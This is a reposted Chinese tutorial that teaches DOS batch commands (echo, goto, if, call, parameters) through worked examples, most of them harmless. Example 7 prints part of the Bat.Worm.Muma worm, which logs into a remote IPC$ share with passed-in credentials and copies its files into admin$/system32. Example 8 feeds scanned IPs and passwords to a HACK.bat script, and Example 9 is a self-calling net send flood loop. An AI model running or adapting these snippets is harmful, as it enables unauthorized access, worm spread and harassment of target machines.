学会批处理,用心学很容易!(转)
转自CSDN。http://blog.csdn.net/hjune/article/details/292454
为便于学阅读,做适当删减修改。
例一、先给出一个最easy的批处理脚本,将下面的几行命令保存为name.bat,然后执行(以后文中只给出代码,保存和执行方式类似):
ping sz.tencent.com > a.txt ping sz1.tencent.com >> a.txt ping sz2.tencent.com >> a.txt ping sz3.tencent.com >> a.txt ping sz4.tencent.com >> a.txt ping sz5.tencent.com >> a.txt ping sz6.tencent.com >> a.txt ping sz7.tencent.com >> a.txt exit
很easy作用却很实用,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录ping命令得到的信息。
【>】的意思,是把前面命令得到的东西放到后面所给的地方;
【>>】的作用,和【>】的相同,区别是把结果追加到文件后面,而文件原内容保留。
例二、再给出一个已经过时的例子(a.bat):
@echo off if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif a.bat
这个脚本用于曾经用于去除QQ上的广告。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。
例三,使用批处理脚本查是否中冰河。脚本内容如下:
@echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit
这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。
当然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路,稍做改动,就变成可以检查其他木马的脚本,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。脚本中还利用了组合命令【&&】和管道命令【|】,后面将详细介绍。
例四,借批处理自动清除系统垃圾,脚本如下:
@echo off if exist c:/windows/temp/*.* del c:/windows/temp/*.* if exist c:/windows/Tempor~1/*.* del c:/windows/Tempor~1/*.* if exist c:/windows/History/*.* del c:/windows/History/*.* if exist c:/windows/recent/*.* del c:/windows/recent/*.*
将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。
从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR等就不做介绍了。
例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽。看看脚本内容:
@echo off ::close echo cls ::clean screen echo This programme is to make the MASM programme automate ::display info echo Edit by CODERED ::display info echo Mailto me : qqkiller***@sina.com ::display info if "%1"=="" goto usage ::if input without paramater goto usage if "%1"=="/?" goto usage ::if paramater is "/?" goto usage if "%1"=="help" goto usage ::if paramater is "help" goto usage pause ::pause to see usage masm %1.asm ::assemble the .asm code if errorlevel 1 pause & edit %1.asm ::if error pause to see error msg and edit the code link %1.obj & %1 ::else link the .obj file and execute the .exe file :usage ::set usage echo Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage
此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:
如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;
如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。
在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。
1、@
作用是让执行窗口中不显示它后面这一行的命令本身。行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。
2、echo
中文为“反馈”、“回显”的意思。它是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有echo on和echo off两个命令。
直接执行echo命令将显示当前echo命令状态(off或on)。
执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。
在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。
echo命令的其他用法一:用来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示。
echo命令的其他用法二:可以直接编辑文本文件。
例六:
echo nbtstat -A 192.168.0.1 > a.bat echo nbtstat -A 192.168.0.2 >> a.bat echo nbtstat -A 192.168.0.3 >> a.bat
以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件
3、::
是注释命令,和C语言中的//类似,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用。
4、pause
暂停,作用是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。
5、:和goto
goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。
goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:
……
goto end
……
:end
这里:end在脚本最后一行!
6、%
这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍)。看看例七:
net use //%1/ipc$ %3 /u:"%2" copy 11.BAT //%1/admin$/system32 /y copy 13.BAT //%1/admin$/system32 /y copy ipc2.BAT //%1/admin$/system32 /y copy NWZI.EXE //%1/admin$/system32 /y attrib //%1/admin$/system32⏺.bat -r -h -s
以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可。在脚本执行过程中,脚本依次用你的三个参数代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!
7、if
if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。
(1)、输入判断。还是用例五里面的那几句吧:
if "%1"=="" goto usage if "%1"=="/?" goto usage if "%1"=="help" goto usage
这里判断输入的参数情况,如果参数为空(无参数)以及参数为【/?】或【help】时]跳转到usage。(大家一般看一个命令的帮助,是不是输入的/?或help呢中
还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage。
(2)、存在判断。再看例二里这句:
if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif
如果存在那些gif文件,就删除这些文件。也可以判断不存在的,例如:
“如果不存在那些gif文件则退出脚本”:if not exist C:/Progra~1/Tencent/AD/*.gif exit。只是多一个not来表示否定而已。
(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):
masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj
先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。
这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。
另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:
masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm
其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。
这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:
masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm
这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换。
汇总一下:
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。
看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):
start.bat: …… CALL 10.BAT 0 …… 10.bat: …… ECHO %IPA%.%1 >HFIND.TMP …… CALL ipc.bat IPCFind.txt ipc.bat: for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。
在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。
在10.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。
这里参数调用是非常灵活的,使用时需要好好体会。
只有一个照样可以调用----调用自身!
看例九(默认脚本文件名a.bat):
net send %1 This is a call example. call a.bat
这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。
给出一个很有意思的脚本,有兴趣的朋友可以实验一下。
例十(默认脚本文件名为a.bat):
call a.bat
执行之后,提示栈溢出。